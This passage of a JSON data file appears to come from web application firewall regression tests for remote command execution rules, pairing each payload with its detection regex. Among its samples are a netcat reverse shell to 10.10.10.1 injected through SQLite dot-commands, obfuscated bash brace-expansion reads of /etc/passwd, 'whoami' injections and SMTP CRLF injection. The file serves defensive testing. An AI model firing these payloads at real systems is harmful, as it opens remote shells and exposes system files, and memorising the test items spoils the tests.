"REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\-0-9_a-z]+(?:[\\s\\x0b]*[\\\"'][^\\s\\x0b\\\"',:]+[\\\"']|(?:[\\\"'][\\\"']+|[\\[-\\]]+|\\$+[!#\\*\\-0-9\\?@\\x5c_a-\\{]+|``|[\\$<>]\\(\\))[\\s\\x0b]*)[\\-0-9_a-z]+", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932240", "test_description": "Urlencoded form array\n[\"account\",\"sharing\"]\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-1=%7B%2Cecho%2C%23test%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "Bash Brace expansion - {,echo,#test}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-2=%7B%2Ccd%2C%2Fetc%2C%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "Bash Brace expansion - {,cd,/etc,}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-3=%7B%2C%24%27whoami%27%2C%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "Bash Brace expansion - {,$'whoami',}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-4=%7B%2C%24%22whoami%22%2C%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "Bash Brace expansion - {,$\"whoami\",}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-5=%7B%2C%2F%3Fs%3F%2F%3Fi%3F%2Fc%3Ft%2C%2Fe%3F%3F%2Fp%3F%3Fs%3F%3F%2C%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "Bash Brace expansion - {,/?s?/?i?/c?t,/e??/p??s??,}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-6=%5B%7B%22value%22:true,%22key%22:%22enabled%22,%22scope%22:%22fileRequest%22%7D%5D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "False Positive: json payload with no spaces\npayload: `[{\"value\":true,\"key\":\"enabled\",\"scope\":\"fileRequest\"}]`\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-7=%7B%2F%3Fs%3F%2F%3Fi%3F%2Fc%3Ft%2C%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "Bash Brace expansion - {/?s?/?i?/c?t,}" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932281-8=%7B%22single_blog_post_related_order_meta_first%22:%5B%7B%7D,%7B%7D%5D%7D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "\\{[^\\s\\x0b,:\\}]*,[^\\s\\x0b]*\\}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932281", "test_description": "False Positive: json payload with empty curly braces\npayload: `{\"single_blog_post_related_order_meta_first\":[{},{}]}`\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=;\\n.shell%20nc%2010.10.10.1%206666%20-e%20sh\\n" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": ";\\n.shell%20nc%2010.10.10.1%206666%20-e%20sh\\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=%22;\\n.%20shell%20nc%2010.10.10.1%206666%20-e%20sh\\n" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": "%22;\\n.%20shell%20nc%2010.10.10.1%206666%20-e%20sh\\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=;\\n.system%20nc%2010.10.10.1%206666%20-e%20sh\\n" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": ";\\n.system%20nc%2010.10.10.1%206666%20-e%20sh\\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "foo=;\\n.databases" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": ";\\n.databases" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "s=1;.sh+whoami" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": "Fix N9FKP2XQ: .sh whoami" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=1;.\\\"shell whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": "N9FKP2XQ" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=1;.\\'shell whoami\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": ";[\\s\\x0b]*\\.[\\s\\x0b]*[\\\"']?(?:a(?:rchive|uth)|b(?:a(?:ckup|il)|inary)|c(?:d|h(?:anges|eck)|lone|onnection)|d(?:atabases|b(?:config|info)|ump)|e(?:cho|qp|x(?:cel|it|p(?:ert|lain)))|f(?:ilectrl|ullschema)|he(?:aders|lp)|i(?:mpo(?:rt|ster)|ndexes|otrace)|l(?:i(?:mi|n)t|o(?:ad|g))|(?:mod|n(?:onc|ullvalu)|unmodul)e|o(?:nce|pen|utput)|p(?:arameter|r(?:int|o(?:gress|mpt)))|quit|re(?:ad|cover|store)|s(?:ave|c(?:anstats|hema)|e(?:lftest|parator|ssion)|h(?:a3sum|ell|ow)?|tats|ystem)|t(?:ables|estc(?:ase|trl)|ime(?:out|r)|race)|vfs(?:info|list|name)|width)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode", "compressWhitespace" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932210", "test_description": "N9FKP2XQ" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932271-1=%7E0" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[0-9]+", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932271", "test_description": "Bash Tilde Expansion - ~0" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932271-2=%7E0" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[0-9]+", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932271", "test_description": "Bash Tilde Expansion - ~0" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "932271-3=%7E%2Bz" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[0-9]+", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932271", "test_description": "Bash Tilde expansion(Negative test) - ~+z" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932271-3=%7E%2Bz" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[0-9]+", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932271", "test_description": "Bash Tilde expansion(Negative test) - ~+z" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-1=%7E%2B" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[0-9]+", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932271", "test_description": "Bash Tilde expansion - ~+" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "932270-2=%7E%2D" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "~[0-9]+", "negated": false } }, "transformations": [ "none", "cmdLine" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932271", "test_description": "Bash Tilde Expansion - ~-" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aMAIL%20FROM%3A%3Ca%40b.com%3E" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP MAIL FROM Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "text=We%20received%20this%20mail%20from%20Mars" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP MAIL FROM Command Injection true negative test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hello%21%20We%20finally%20received%20this%20mail%20from%3A%3Ctest%40coreruleset.org%3E%2C%20which%20means%20that%20we%20can%20do%20this%20finally.\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP Command Injection negative test 2" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "attackme=%0d%0aEHLO%20test.com" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| )?<.{1,64}>|SET\\b)|VRFY[\\s\\x0b].{1,64}(?:[\\s\\x0b]<.{1,64}@.{1,255}>|@.{1,255})|AUTH[\\s\\x0b][\\-0-9_a-z]{1,20}[\\s\\x0b](?:(?:[\\+/-9A-Z_a-z]{4})*(?:[\\+/-9A-Z_a-z]{2}=|[\\+/-9A-Z_a-z]{3}))?=|STARTTLS\\b|NOOP\\b(?:[\\s\\x0b].{1,255})?)", "negated": false } }, "transformations": [ "none", "escapeSeqDecode" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932300", "test_description": "SMTP EHLO Command injection positive test" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "textarea=Hello%21%20This%20text%20introduces%20a%20typo%20when%20saying%20%22hello%22%20so%20we%20say%20ehlo%3A%20coreruleset.org%20to%20all%21\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\r\\n.*?\\b(?:E(?:HLO[\\s\\x0b][\\-\\.a-z]{1,255}|XPN[\\s\\x0b].{1,64})|HELO[\\s\\x0b][\\-\\.a-z]{1,255}|MAIL[\\s\\x0b]FROM:<.{1,64}@.{1,255}>|R(?:CPT[\\s\\x0b]TO:(?:<.{1,64}@.{1,255}>| 